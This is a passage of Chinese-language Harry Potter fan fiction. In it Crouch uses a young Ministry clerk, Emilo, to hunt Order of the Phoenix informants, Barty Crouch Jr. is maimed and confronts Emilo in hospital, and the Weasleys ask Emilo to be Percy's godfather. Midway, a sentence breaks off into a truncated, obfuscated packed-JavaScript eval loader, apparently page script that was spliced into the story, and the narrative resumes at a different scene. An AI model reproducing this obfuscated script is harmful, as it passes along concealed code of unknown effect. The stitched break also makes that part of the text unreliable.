克劳奇的办公室如同他本人气质的延伸:强硬、高效、一丝不苟,没有任何多余的温情或装饰。墙壁是冷硬的灰白色,一张宽大的红棕色实木办公桌占据了中心位置,桌面光可鉴人,上面堆放的卷宗不是杂乱的山,而是被严格地按照字母顺序和案件编号,如同等待检阅的士兵般排列得整整齐齐,强迫症般地精准。一张黑色的皮质沙发看起来坚硬而不舒适,是唯一的会客家具。 “坐。”克劳奇自己先坐到了办公桌后那张高背椅上,用眼神示意埃米洛坐在对面的硬木椅上。他没有寒暄,开门见山,声音在空旷的办公室里显得格外清晰: “你今年刚从霍格沃茨毕业,但在法律执行司实习的时间不短,接触的核心卷宗比很多干了三年的老手都多。可以说,你已经是‘老人’了。”他锐利的灰蓝色眼睛紧紧盯着埃米洛,“怎么样,正式披上这身袍子,感觉和实习有什么不一样?” 他的姿态看似放松地靠在椅背上,但那眼神却像鹰隼锁定了猎物,带着审视和穿透力,让埃米洛有种被无形威压笼罩的感觉。 埃米洛坐姿端正,背脊挺直,双手平放在膝上,迎视着克劳奇的目光:“不论是实习期还是现在,我对工作的态度和标准都只有一个,司长。所以,本质上并无不同。” “……你毕业于格兰芬多?”克劳奇似乎并不意外,继续问道,身体微微前倾,那股被大型猛兽近距离盯视的压迫感更强了。 “对。”埃米洛简洁地点头。 克劳奇不再说话,只是用他那修长、骨节分明的手指,有节奏地敲击着光滑的松木桌面。笃、笃、笃……声音在寂静中放大,每一下都像敲在紧绷的神经上。时间仿佛被拉长了,办公室里的空气仿佛凝固了,只有那敲击声和克劳奇锐利得仿佛能剥开表象的目光在无声地施加压力。 许久,克劳奇才停下敲击,身体重新靠回椅背,抛出一个看似随意却重若千钧的问题: “听说过凤凰社么?” 埃米洛的心脏在胸腔里猛地一缩,漏跳了一拍,血液似乎瞬间涌向大脑又迅速退去。但他脸上的肌肉纹丝不动,如同戴上了一副完美的面具,微微调整了一下坐姿,眼神坦然地迎向克劳奇:“在归档的卷宗里看到过相关记录和指控。司长,您是指最近活动频繁、被定性为非法地下组织的那个‘凤凰社’?我知道,请问有什么……” “说点卷宗里没有的,德蒙特。这些大家都知道。”克劳奇的语气里带上了一丝不易察觉的不耐烦,像在挥开一只恼人的苍蝇。他的身体前倾,目光更加锐利地刺向埃米洛:“你在霍格沃茨的时候……你的同学,老师,有没有人……私下里接触过你?谈论过某些观点?或者,更直白点,招揽过你什么的?” 他脑海里闪过梅多斯的脸,随即是詹姆莉莉……面上却流露出一丝属于刚毕业年轻人的困惑和羞涩,眉头微蹙,声音也低了一些,带着点自我怀疑:“……我不曾听说有谁明确招揽过我,司长。我在学校里……并不是那么……引人注目。我很少参与那些……热闹的团体活动。” “不用过分谦虚,你的N.E.W.T.s成绩单我看过,七个证书,七个优秀(O)。” 克劳奇把话题陡然一转,手指交叉放在桌上,形成一种更具压迫感的姿态。“看《预言家日报》了么?” “每一期都看,司长。”埃米洛回答得很快,这是事实,也是必须的功课。 “来说说吧,最近几期,都看出了什么?”克劳奇的声音放缓了一些,眼神里的探究丝毫未减,“放轻松,我今天不是要考核你,就是听听你们年轻人的想法。随便谈谈。” 《预言家日报》?不负责任的新闻业、靠挖掘隐私和煽动情绪为生的狗仔文化摇篮、粉饰魔法界太平的官方传声筒……以及,最重要的,是政治家们用来宣扬立场、攻击对手、操纵民意的战场。 但埃米洛当然不能这么说。他微微垂下眼帘,认真组织语言,几秒后才谨慎地开口:“……他们最近的报道,似乎异常……敏锐,司长。关于傲罗行动的一些细节、伤亡数字、甚至某些投诉案件的内部处理进度……这些信息给我们增添了许多额外的解释和安抚工作。” 他停顿了一下,抬起眼,小心翼翼地观察着克劳奇的神色,仿佛在斟酌措辞的尺度,“尤其是一些数据……非常具体的数据,比如上周三那次夜袭行动中受伤的麻瓜目击者人数修正案,我记得那份修正报告只在我们司内部传阅过,尚未归档上报。他们是怎么得到这批数据的?这很奇怪,非常奇怪。” 克劳奇不动声色地点了点头,灰蓝色的眼睛像探照灯一样锁着埃米洛:“还有别的想法么?关于他们,或者……其他方面?” 埃米洛沉默了片刻,眉头这次是真的因为思考而微微蹙起,似乎在努力挖掘:“……我觉得我们魔法部的进出门禁系统,或许应该设置得再严苛一些。电话亭的那个入口,虽然方便,但那个旋转门禁密码……恕我直言,司长,它太容易被有心人窥探或者用探测咒破解了。也许就是因为这个漏洞,才让那些无孔不入的《预言家日报》狗仔打进了我们内部!而他们只需要一剂复方汤剂,就能变成任何一个有权限进入的职员……” 最后几句话,他流露出一种被侵犯了工作领地的、真实的愤怒。 克劳奇看着他,突然爆发出了一阵低沉而短促的笑声,那笑声里听不出多少愉悦,更像是对某种预料之中反应的确认:“哈!年轻人,有警惕性是好事。还有别的吗?想到什么都可以说。” 埃米洛这次既没有摇头也没有点头,只是维持着那副略带困惑和努力思考的表情,嘴唇微抿。这种沉默可以有多重解读:可以是年轻人被问住了,一时想不出更多;也可以是一种默认,表示该说的都说了;甚至可以被视为一种谨慎的保留。在克劳奇这样的上司面前,模棱两可有时比明确的答案更安全。 “行了,”克劳奇似乎得到了他想要的某种信息,身体向后靠去,挥了挥手,结束了这场充满试探的谈话,“你回去吧。十二点前,把标记为A级优先度的所有待审材料整理好,送到我这里。” “是,司长。”埃米洛站起身,动作利落,微微颔首,然后无声而迅速地退出了那间充满压力的办公室。 重新坐回自己的工位,熟悉的文件气息包围了他。他没有立刻投入工作,而是微微向后靠在椅背上,指尖无意识地摩挲着冰冷的咖啡杯壁,开始复盘这场对话背后的潜流。上司的暗示其实已经相当明显——他的目光不由自主地投向桌角那份最新一期的《预言家日报》,头版上克劳奇本人严肃的面孔正注视着他。克劳奇在暗示他,不,几乎是明示他,要利用自己“新人”、“无派系”的优势,去留意、去挖掘法律执行司里那些可能与凤凰社有染的“鼹鼠”。 为什么是他?因为他足够年轻,资历浅得像张白纸,背后没有盘根错节的家族势力或派系烙印。这样的人,同事们往往会放松警惕,就像韦斯莱先生那样毫无防备地对他释放善意。而同样重要的是,一旦他因此得罪了人,成了众矢之的,克劳奇也可以毫不费力地将他当作一枚弃子牺牲掉,无需承担任何政治成本。 你看,哪怕步入社会,你的处境也没什么变化。埃米洛近乎是讽刺般的笑了。 他能确定多卡斯·梅多斯老师是凤凰社那边的,但他觉得克劳奇八成也知道这一点,毕竟他有个在霍格沃兹上学的儿子小巴蒂,校园里的风声总会通过各种渠道传到高层耳中……其他人呢?阿拉斯托·穆迪?他是否也……? 不,这个念头很快被他按了下去。现在纠结具体是谁并非关键。真正需要想清楚的是两个更致命的问题—— 第一,克劳奇知道了这些人是谁之后,会怎么做?这位司长现在所做的一切,真的只是为了赢得这场战争吗?埃米洛绝不相信。从他的妻子开始探望圣芒戈开始,克劳奇与米里森·巴格诺(时任魔法部部长)之间,甚至可能包括邓布利多(凤凰社背后的精神领袖)之后,一场无声的、残酷的政治较量早已在战争的阴影下悄然打响。找出凤凰社成员,既可以打击邓布利多的势力,也能作为打击政敌(比如被视为对邓布利多过于温和的巴格诺)的弹药。 第二,他,埃米洛·德蒙特,该怎么做?他当然可以像今天这样,继续用模糊、谨慎、不触及实质的话术糊弄下去。他也可以…… “嘿,埃米洛?嘿!” 一个声音打断了他的沉思。伯莎不知何时凑到了他桌边,正用勺子舀着一大勺食堂的肉末土豆泥,试图分给他一些。“你今天怎么回事?魂不守舍的,叫你好几声了。这土豆泥不错,来点?” “克劳奇司长今天上午找他谈话了。” 旁边的阿米莉亚言简意赅地替埃米洛解释了原因。 “哦!可怜的孩子!” 伯莎和阿米莉亚交换了一个了然的眼神,显然都误以为他是被司长训斥了,脸上露出了同情。 “不对!”伯莎用勺子柄敲了敲埃米洛的桌面,压低声音,带着一丝八卦的兴奋,“听我讲重点!克劳奇把小巴蒂送走了!送去哪儿了?傲罗办公室!而且是让穆迪亲自带他!” 阿米莉亚切割牛排的手停顿了一下,她抬起头,眉头紧锁,镜片后的目光充满了不认同:“把自己的孩子直接送去前线?他甚至还没有正式毕业,N.E.W.T.s都没考完。这太冒险了。” “可不是嘛!”伯莎凑得更近,声音压得更低,“克劳奇对那孩子说,‘战场是最好的课堂,能教会你书本上没有的东西’——要我说,就算是给儿子镀金、铺路,也不用这么着急吧?穆迪那是什么人?他带新人的方式……” 另一种怀柔政策罢了。埃米洛在心里冷然评价。他想起之前几次偶遇小巴蒂,那年轻人眼中对父亲尚存着期待和渴望被认可的光芒,似乎想通过卓越的成绩来证明自己的价值,换取父亲冰冷的关注。那么现在呢?被直接丢进最危险的傲罗前线,在“疯眼汉”穆迪的手下,这份“期待”会变成什么? 他这一整天脑子都很乱,各种线索、猜测、利害关系像纠缠的毛线团。然而,还没等他理出哪怕一丝头绪,当天下午,一份盖着法律执行司司长办公室鲜红火漆印的内部调令,如同冰冷的预兆,直接落在了他的桌面上。 上面清晰地写着:“临时借调令”。 借调目的地:傲罗指挥部办公室。 任务内容:专门负责整理、归档、核查所有外勤傲罗提交的魔杖使用记录报告。 极其敏感致命的工作。每一份薄薄的羊皮纸报告,都详细记录了傲罗每一次任务中魔杖施放的咒语名称、精确时间、具体地点、针对对象(无论生死),甚至包括施法时的魔力波动强度和备注说明。这些记录,是追踪行动细节、判断行动合规性(是否符合《紧急授权法》)、追查内部泄密、甚至指控滥用职权或勾结黑巫师的最核心、最直接的证据链。 埃米洛瞬间明白了自己的新角色——他成了克劳奇司长安插在傲罗队伍里一双隐形的、专门盯着魔杖的眼睛。他需要监控的,绝不仅仅是那些魔杖,更是使用这些魔杖的、活生生的人。 傲罗指挥部像一个截然不同的、硝烟未散的战场。这里与法律执行司文职区那种压抑的、纸张堆砌的沉闷截然不同。空气是凝滞的、带电的,混杂着汗味、皮革味、淡淡的血腥气,还有一丝若有似无、却真实存在的硝烟味——可能是某件刚从冲突现场带回的斗篷上残留的,也可能是某个傲罗情急之下在办公室测试咒语留下的痕迹。文件不是整齐码放,而是如同爆炸后的废墟,高高垒起,摇摇欲坠,占据了每一寸能利用的桌面、椅子甚至地板。几张揉成一团、边缘焦黑的吼叫信残片不甘地从废纸篓里探出头,仿佛还在无声地尖啸。阿拉斯托·穆迪那只疯狂旋转的魔眼,它像一颗镶嵌在血肉中的、永不疲倦的监视水晶球,三百六十度无死角地扫视着整个空间,每一次停顿都精准地掠过新来的埃米洛,以及他旁边的小巴蒂·克劳奇。 小巴蒂明显也在努力融入,他努力绷紧年轻的脸庞。然而,眼底深处那份属于霍格沃茨学生的青涩,以及对真实血腥和死亡气息的陌生感与不易察觉的紧绷,像刺眼的标签,将他牢牢钉在“局外人”的位置上。穆迪显然没打算给这位“司长公子”当成需要特殊保护的“太子爷”,对他的训练异常严苛。 埃米洛则一头扎进了分配给自己的新工作里。他需要反复询问提交报告的傲罗,核对每一个细节——时间、地点、目标、咒语选择的原因;当报告模糊不清或前后矛盾时,甚至需要动用冥想盆,亲自潜入当事人的记忆碎片,去查看、去感受、去记录那电光火石间的每一个瞬间。这是一项繁复、枯燥到令人麻木,却又要求精神高度集中、不容丝毫差错的苦役。每一个判断都可能被卷入后续的审查、质询,甚至指控。 这份工作吞噬了埃米洛所有的时间。当傲罗们结束轮班,拖着疲惫的身躯离开,办公室只剩下零星灯火和仪器低鸣时,他还埋首在羊皮纸堆里,只有羽毛笔划过纸面的沙沙声和冥想盆水银般液体偶尔的波动打破死寂。 韦斯莱先生曾来看过他一次,这位好心的前辈被埃米洛桌上堆积的工作量和那近乎惨白的脸色吓了一跳。他陪着他,压低声音一起痛骂了几句不近人情、压榨下属的上司(没有指名道姓,但矛头所指心照不宣)。自那以后,韦斯莱先生总会“顺路”带来莫丽亲手做的、料足味美的三明治,用油纸仔细包好,悄悄塞进埃米洛的抽屉里。 八月初,一场针对食死徒秘密物资转运点的突袭行动,演变成了一场灾难。行动的关键时刻,通讯被一股强大的、来源不明的魔法干扰彻底切断。原本计划生擒的几名关键俘虏,在混乱中如同泥鳅般溜走。更可怕的是,没过多久,来自不同方向的食死徒援军如同嗅到血腥的鲨鱼般涌至。现场瞬间沦为炼狱,咒语的光芒撕裂夜幕,爆炸声震耳欲聋。当迟来的增援队伍冲破阻碍赶到时,只看到一片狼藉的废墟。一名经验丰富的傲罗永远倒在了那片焦土上。 小巴蒂·克劳奇被一道角度极其刁钻、狠辣的切割咒正面击中,左臂自肩关节以下几乎被齐根斩断,鲜血如同喷泉般涌出,瞬间将他崭新的见习袍浸透成骇人的暗红色。他被用最快的速度、在昏迷中断断续续的痛苦呻吟中,送进了圣芒戈魔法伤病医院,一度在生死线上挣扎。 这噩耗如同一颗重磅炸弹,在魔法部内部轰然炸响。悲痛、愤怒、恐惧的情绪如同瘟疫般迅速蔓延开来。然而,就在这人心惶惶、群情激愤的当口,巴蒂·克劳奇司长展现了他令人胆寒的政治手腕和冷酷本质。 他表现出一个父亲应有的、表面化的、对儿子重伤濒死的巨大痛苦。同时,他以一种近乎冷酷的效率,发动了一场 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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埃米洛无声地点点头,推开病房门。浓烈的白鲜和更刺鼻的消毒水味道扑面而来。小巴蒂·克劳奇躺在纯白色的病床上,脸色是失血过多后的死灰,嘴唇干裂。他的左臂被厚厚的、闪烁着微弱治疗符文的魔法绷带严密包裹、固定,像一截突兀的白色树桩。整个人陷在枕头里,被一种死寂般的虚弱笼罩着。他睁着眼睛,空洞地望着天花板,那曾经燃烧着优等生骄傲和隐秘渴望的瞳孔里,此刻只剩下彻底的碎裂和虚无。 “……父亲满意了?”声音沙哑得如同砂纸摩擦,没有愤怒的火焰,只有一种被彻底抽干所有力气后的、深入骨髓的疲惫和冰冷的讥诮。 埃米洛没有回应任何安慰的废话,那在这种赤裸的真相面前显得虚伪可笑。他沉默地拉过一把椅子,在病床边坐下。病房里只剩下生命维持仪器发出的、单调而规律的嗡鸣,像死亡的秒针在缓缓走动。 “他用我的命,”小巴蒂继续说着,每一个字都像在艰难地咀嚼着锋利的玻璃碎片,“换了一次……完美的民意煽动。一次……打击他看不顺眼的人的绝佳机会。一次……让他离魔法部长宝座更近一步的垫脚石。‘英雄的儿子’?呵……” 他发出一声短促的、毫无温度的、如同金属断裂般的笑声,在寂静的病房里格外刺耳。 “你活下来了。”埃米洛终于开口,声音异常平静,像在陈述一个与己无关的客观事实。 “是啊,我活下来了。”小巴蒂闭上眼,浓密的睫毛在苍白得近乎透明的脸上投下浓重的阴影,更像一道伤痕,“学长,你说接下来是什么?继续做他棋盘上一颗听话的、随时可以被牺牲的棋子?等着下一次,为了某个‘伟大的目标’或者他个人的需要,再被推出去当盾牌?或者……祭品?” 他的声音里充满了迷茫和更深的痛苦,“但他明明……是我的父亲啊……” 或许你要学会接受,有些父亲心中根本就没有属于儿子的位置。埃米洛在沉默中想道。但他没有说出口。他知道这种认知的剥离,如同剜心剔骨,是一个漫长而极端痛苦的过程,无人可以代劳,只能靠当事人自己在绝望的深渊里挣扎着完成。 “你需要给我一滴眼泪,或者一点血液,什么都行。”埃米洛的声音恢复了公事公办的平稳,他从口袋里掏出一个小小的、冰凉的白色瓷瓶,放在床边柜上,脸上没有任何多余的表情,仿佛在提交一份常规报告。 “……”小巴蒂的目光缓缓移向那个瓷瓶,沉默像沉重的铅块压在两人之间。许久,他伸出手,手指因为虚弱和情绪而微微颤抖,握住了那个瓶子。就在埃米洛以为他会配合时,毫无预兆地,那只手猛地攥紧! “啪!” 清脆的碎裂声骤然响起!瓷瓶在小巴蒂掌心被捏得粉碎!尖锐的碎片刺破了他的皮肤,殷红的血珠瞬间渗出,滴落在雪白的床单上,像几朵狰狞的小花。 “你这样的表情和态度……”小巴蒂猛地抬起头,眼中燃烧着近乎疯狂的愤恨,死死盯着埃米洛那张平静无波的脸,“真让我想到克劳奇!——” 看到他因这意外而本能蹙起的眉头时,他的愤恨更达到了顶点,他几乎是嘶吼出来:“能不能别再露出这样的表情了!——” 病房里瞬间只剩下他粗重、痛苦的喘息声和仪器那令人窒息的单调嗡鸣。血珠沿着他紧握的拳头边缘,一滴,一滴,砸在床单上。 埃米洛没有惊慌后退,也没有立刻呼喊治疗师。他眉头依旧维持着微蹙的状态,但眼神里那种纯粹的公事公办褪去了几分,取而代之的是一种近乎审视的、带着一丝复杂理解的平静。 他开始叫父亲为“克劳奇”,就像他——那是他多大?他开始在心里称呼罗杰为德蒙特先生一样。 他沉默地抽出自己的魔杖,动作稳定而精准,没有指向情绪失控的小巴蒂,而是对着地上和床单上的碎片和血迹轻轻一点:“清理一新(Scourgify)。” 碎片和大部分刺目的血迹瞬间消失无踪。 他又对着小巴蒂仍在流血的手掌,冷静地点了一下:“愈合如初(Episkey)。” 伤口迅速止血、收口、结上一层薄薄的痂。做完这一切,他才重新将目光投向小巴蒂,声音比刚才低沉了许多,带着一种刻意压低的、近乎耳语的坦诚: “这表情不是给你的。是给我自己的。司长就在外面,等着我‘尽快’给出结果。我皱眉,是因为无论我最终从那些魔杖记录里挖出什么——是叛徒的痕迹,还是无能的证据,或者干脆什么也查不出来——结果都只有一个:让这摊本来就浑浊不堪的浑水,变得更加混浊。我自己也陷入了迷茫,所以我才皱眉,不是对你失望。跟你没有关系。” 小巴蒂眼中的疯狂愤恨没有完全消退,像余烬仍在闪烁,但那剧烈的爆发似乎耗尽了他仅存的力气。他颓然地靠回枕头上,眼神再次变得空洞,失焦地望着惨白的天花板。不过,紧绷到颤抖的身体,似乎因为埃米洛这罕见的、近乎自白的坦诚而放松了极其微小的一丝。 埃米洛拉过椅子,这次坐下的姿态不再像之前那样笔直。他随意地靠在椅背上,目光落在小巴蒂那被魔法绷带包裹得严严实实的左臂位置,语气平淡得像在讨论天气: “他们说你是小英雄。《预言家日报》上铺天盖地都是这个词。很讽刺,对吧?” 他嘴角扯出一个几乎没有弧度的、冰冷的笑,“躺在圣芒戈的白色病床上,用一条胳膊和半条命换来的勋章,冰冷、沉重,还带着消毒水的味道。没有人在把‘英雄’的帽子扣在你头上之前,问过你一句想不想要。” 他停顿了一下,目光转向小巴蒂苍白得没有一丝血色的侧脸,声音压得更低,带着一种罕见的、近乎冒犯的直接:“我很少对别人说这种话,但……疼吗?我是说,真话。除了胳膊,还有……这里。” 他的指尖极其轻微地点了点自己心脏的位置。 小巴蒂喉咙里发出一声破碎的、带着浓重鼻音的嗤笑,像漏气的风箱。他终于转动眼珠,斜睨着埃米洛,那眼神里充满了浓得化不开的讽刺和深入骨髓的疲惫: “疼?呵……你懂什么?那种皮肉的疼,算得了什么?比不上……比不上你明明白白地知道,自己只是被亲生父亲亲手推出去、算计好的祭品那一刻,从骨头缝里透出来的那种冷,那种……被彻底碾碎的绝望。” “学长,你也替他做事,不是吗?像个……像个清道夫一样,收集那些所谓的‘叛徒证据’,好让他更有理由挥舞屠刀。” 他喘息了一下,声音带着一种同归于尽的绝望,“我们都是他的弃子!只是用途不同罢了!” 埃米洛没有回避小巴蒂那充满指控的目光。他坦然地迎视着,缓缓地点了点头,承认了部分事实。但随即,又非常轻微却坚定地摇了摇头: “我们不一样。我是克劳奇司长手下的一名雇员。我的价值在于我能完成他指派的任务。而你……” 他的目光扫过小巴蒂年轻却布满痛苦的脸,“你是他的孩子,他的血脉。你之所以感到加倍的愤怒和痛苦,是因为你内心深处,还在渴望他把你当成一个‘儿子’来看待,而不是一件与普通雇员无异的工具。你无法接受这种等同,所以你现在才这么痛苦。” “但你有没有想过,跳出这个身份?你明年还要考N.E.W.T.s,你有自己的天赋、自己的道路。你的人生,不必永远被钉在他那盘肮脏的政治棋局上,做一个心甘情愿、或者被迫牺牲的卒子。” 他看着小巴蒂眼中翻涌的激烈情绪,继续用那种近乎冷酷的清醒语调说道:“愤怒和痛苦烧不死你父亲那样的冰山,它们只会先一步把你从里到外烧成灰烬。你现在最需要的不是愤恨,是时间。时间让你的伤口愈合,时间……” 他斟酌了一下用词,目光变得深邃,“时间让你想清楚,你自己到底想成为什么,想做什么,而不是仅仅执着于‘不要’成为他棋盘上的什么。被他利用,至少证明你对他而言还有价值。关键在于,你想怎么定义自己的价值?你想把这价值用在何处?” 他说完,站起身,从西装内袋里摸出一个小小的、折叠整齐的纸包,不是糖果,而是几片散发着清凉提神气息的魔法薄荷叶(通常是用来缓解剧烈疼痛和保持思维清晰)。“拿着。圣芒戈的镇定剂会让你脑子像塞满棉花。这个能让你清醒点想想我刚才的话,又不至于疼得太厉害。” 埃米洛将纸包轻轻放在血迹已消失的床头柜上,没有任何多余的动作或煽情的告别语。他转身走向门口,步伐稳定。在握住门把手的那一刻,他停顿了极其短暂的一瞬,没有回头,但声音清晰而沉稳地传回病床: “先好好养伤。只有清醒地活着,你才够格……坐上和你父亲对弈的那张桌子。” 我自己也是。他在心里说道,哪怕一时埋头于这种看不见前路该怎么走的境况,我也会走向那条逐渐清晰的道路。 他拉开门,身影消失在走廊的光线中,将另一个孩子那满室的痛苦暂时隔绝在身后。 19.混乱的夜晚 埃米洛猛地从冥想盆中那银色的记忆水波里抬起头,带起一串冰凉的水珠,洇湿了衬衫领口。他急促地喘了口气,仿佛刚从深海中挣扎而出。沉入他人的记忆——尤其是那些浸透了硝烟、血腥与绝望的战争片段——感觉糟透了。 那不仅仅是观看,更像是灵魂被强行塞进一个充满尖叫和咒语回响的陌生躯壳,被迫感受那份恐惧、愤怒和濒死的冰冷。每一次潜入,都像在精神上承受一次无形的钻心剜骨。 他用力甩了甩头,试图将那些不属于他的痛苦和尖叫驱散,湿漉漉的刘海贴在额角,带来一丝真实的凉意。视线下意识地投向墙角那个施了强力冰冻咒的储存箱。透过半透明的箱壁,能看到里面整齐码放的一扎火焰威士忌,琥珀色的液体在低温下仿佛凝固的火焰。 埃米洛的喉结滚动了一下,手指几乎要违背意志地抬起来。他猛地闭了闭眼,将这种软弱而危险的欲望如同清理桌面垃圾般,狠狠地从脑海里“清理一新”。不行。不可以。酒精是一切罪恶的开始。他站起身,走向角落的咖啡台,动作有些僵硬。这一次,他甚至放弃了那费时的手工研磨,直接用了魔法速溶粉。滚水冲下,深褐色的粉末瞬间溶解成一杯近乎墨黑的液体,再被冰冻咒强制降温,浮上一层冰霜。他端着杯子回到冥想盆边,没有立刻喝,只是让那冰凉的温度和刺鼻的焦苦气息包围自己,用更强烈的感官刺激去覆盖记忆残留的痛苦。 那场物资转移袭击,疑点像蛛网般密布。他几乎可以肯定,刚才审视的那几段记忆——来自不同参与者的视角——都被精心的修剪,某些关键枝叶被巧妙地抹去了。 是有人刻意修改了记忆本身?还是提交者在复述时下意识地进行了美化或隐瞒?亦或是中间什么人动了手脚……他的目光沉沉地落在冥想盆旁边一字排开的五个小玻璃瓶上。每一个瓶子都封存着一个傲罗关于那场灾难的“真相”。谁在说谎?还是所有人都在各自的记忆里撒下了不同颜色的谎言碎片?他们是哪边的人? 心跳在深呼吸中勉强平复,他从怀里小心翼翼地拿出另一个瓶子,瓶壁还带着一丝人体的微温——这是小巴蒂·克劳奇刚刚交给他的。埃米洛盯着瓶子里银絮般缓缓旋转的物质,指尖无意识地在瓶壁上摩挲。他不知道那次圣芒戈病房里近乎剖白般的对话之后,小巴蒂究竟作何感想。表面上,他依然是那个沉默寡言、承受着穆迪地狱式训练的见习傲罗,每天准时与克劳奇一同出现,礼貌周全。 他开始偶尔会拿着一些N.E.W.T.s的难题来请教埃米洛——那些题目以他的天赋和成绩根本不该成为障碍。埃米洛心知肚明这是一种刻意的接近,一种建立在新纽带上的试探。他默许了,但他直觉告诉他这个和他经历有所相似的学弟隐藏着一股疯狂,就像那天他在圣芒戈的突然爆发一样…… “还在加班啊。”办公室的门轴发出一声疲惫的呻吟,打破了深夜的寂静。埃德加·伯恩斯走了进来,风尘仆仆,脸上带着温和却难以掩饰的倦意。他是阿米莉亚的叔叔,也是傲罗中有资历有声望的一位。 “回来更换窥镜。”伯恩斯先生从口袋里掏出一个边缘有些焦黑、旋转变得迟滞的金色小物件,在埃米洛眼前晃了晃,无奈地笑了笑,“这个老伙计,今天挨了一下狠的。” “我帮您找新的吧,”埃米洛立刻放下手中的咖啡,站起身,“今天早上穆迪先生重新‘优化’了一下办公室的抽屉布局,您不在的时候。” “那就麻烦你了,埃米洛。”埃德加的笑容依旧温和,带着一种长辈特有的包容。他虽然是身经百战的傲罗,但气质却像一块温润的玉石,沉稳、内敛,说话总是和声细语。埃米洛有时会恍惚地想,莱姆斯到了这个年纪,大概也会是这副模样——在苦难中淬炼出的、近乎悲悯的平和。 伯恩斯家族几乎代代在魔法部工作,几乎是清一色的赫奇帕奇出身,这让他们在眼下风声鹤唳的环境里,天然避开了许多尖锐的猜忌。上次克劳奇力推战时傲罗特别授权法令,哪怕在公众场合被克劳奇的夺魂咒击中,伯恩斯先生也是率先公开表示支持的高阶傲罗之一,这份“忠诚”几乎无可指摘。 埃米洛听阿米莉亚提过,伯恩斯先生家里有个才五岁的小男孩,他和妻子一直期盼着能再添一个小女儿,让孩子们有个伴。和许多顾家的巫师一样,这位赫奇帕奇似乎也在有意减少危险的外勤,最近几个月的重大行动名单上,很少见到他的名字,更多的时间留给了守护那个小小的、温暖的家。 “找到了,这个应该是沙克尔今天刚改造好的。”埃米洛从一个被施了混淆咒的地板暗格里摸出一个崭新的窥镜,递给伯恩斯。 “金斯莱总是很擅长捣鼓这些小玩意儿,”埃德加接过,熟练地让它在掌心旋转了一圈。窥镜安静地闭合着,这说明附近没有食死徒的迹象。 “谢了,埃米洛。”他拍拍埃米洛的肩膀,笑容里带着真诚的关切,“年轻人,努力工作是好事,但别把自己逼得太紧。战争……是场漫长的消耗战,保存自己才能继续战斗。”他的目光扫过埃米洛眼底的青色和桌上堆积如山的记忆瓶,带着无声的理解。 伯恩斯先生的脚步声消失在走廊尽头,埃米洛站在原地,嘴唇抿成一条紧绷的直线。他强迫自己将注意力拉回冥想盆。走到盆边,他抽出魔杖,不是指向记忆,而是指向盛放记忆的玻璃瓶和冥想盆本身,用几乎听不见的气音念诵了一个复杂的检测咒语——一个专门用来探测器物上是否残留着混淆、篡改或追踪类魔法痕迹的咒语。银色的魔力丝线如同蛛网般蔓延过瓶身和盆沿,最终消散于无形。 干净。没有任何施咒的迹象。 埃米洛的眼神暗了暗。这并不能证明什么,高明的巫师有的是办法不留痕迹。他再次拿起小巴蒂给的那个瓶子,瓶壁冰凉。他拧开盖子,将里面银絮般的记忆物质毫不犹豫地倾倒入冥想盆的银色水面。没有迟疑,他深吸一口气,再次将头深深地扎了进去。 关乎谁是叛徒这个事情就这么陷入了僵局。克劳奇一开始还催的紧,后来他就不问了——上司开始失望的信号。埃米洛觉得自己绝不是他安插的唯一一根钉子,但他等了两周也没有等到来代替他的其他人。日子就这么继续游走。 偶尔,埃米洛会去魔法部的收信处转一圈,目光却总是不由自主地在堆积如山的信件中逡巡。他知道这几乎不可能——那些他真正期待来信的人……他们现在都如同投入深海的石子,消失在凤凰社和另一个阵营那层严密的保密帷幕之后,进行着无声却更致命的抗争。他的钱夹内侧夹着一张被施了保护咒的旧照片。那是升三年级时,波特夫妇帮他们在波特家院子里拍的。五个少年跨坐在飞天扫帚上,勾肩搭背,笑得没心没肺。詹姆在中间,头发乱糟糟的,笑得露出一口白牙;他和小天狼星紧挨着詹姆,一个眼神带着点早熟的沉静,一个嘴角勾出恣意张扬的弧度;莱姆斯在他的另一边,笑容温和腼腆;彼得则努力地探着头,挤在最边上。每一次翻开钱夹,看到这张照片,埃米洛都会感到心脏被一只无形的手攥紧。他格外留意那些由猫头鹰送来、堆积在傲罗指挥部角落的卷宗——那些最新的失踪和死亡名单。每一次翻阅,都像是在冰冷的刀锋上行走,生怕下一个跃入眼帘的名字,会撕裂他记忆里那个阳光灿烂的午后。 他觉得自己也算个幸运的人。旧日的情谊早就扑朔迷离,而新的羁绊却依然建立着。 “我……么?”埃米洛指着自己,罕见地露出了近乎呆滞的表情,仿佛没听懂亚瑟·韦斯莱的话。 “是啊!”亚瑟笑得眼睛弯起来,“乔治和弗雷德被发现是双胞胎的时候,我们就决定让吉迪翁和费比安做他们的教父。但珀西的教父一直没定下来……他都快三岁了!我和莫莉讨论了很久,我们都觉得……你最合适。” 莫莉站在亚瑟身边,她看着埃米洛,眼神里充满温暖的期待,也有一丝小心翼翼的试探。 “啊……”埃米洛喉咙里发出一声毫无意义的音节,大脑一片空白。教父?一个需要承担责任、给予引导、甚至可能在最坏情况下成为孩子依靠的角色?这对他这样一个在混乱中长大、早早就失去了对家庭的信任的人,太重了。 “我们知道这个邀请可能有点……突然,甚至强人所难……”莫莉见他愣住,连忙开口,声音温柔却带着歉意,“埃米洛,你如果不愿意或者觉得压力太大,完全没关系的,我们理解……” “我愿意的。”埃米洛的声音很轻,轻得像怕惊扰了什么,但异常清晰,带着一种连他自己都未预料到的干脆。 “什么?”亚瑟和莫莉似乎没听清。 “我愿意。”埃米洛抬起头,重复道,这次声音大了一些,眼神里那份茫然褪去,取而代之的是一种郑重的承诺感。 那天离开陋居时,埃米洛感觉自己像踩在云端,脚步都有些虚浮。直到躺在床上,陋居温暖的壁炉气息似乎还萦绕在鼻尖,但他却翻来覆去,毫无睡意。我要怎么做?一个教父该做什么?无数念头在脑海里翻腾:德蒙特先生毫无章法的“教导”,克劳奇父子间那令人窒息的权力绞索,韦斯莱先生毫无保留的善意,波特夫妇给予的温暖……这些截然不同的“家庭”图景在他脑中交织碰撞。最终,一个念头无比清晰地冒了出来:他得给珀西买点什么!一份属于教父的礼物! 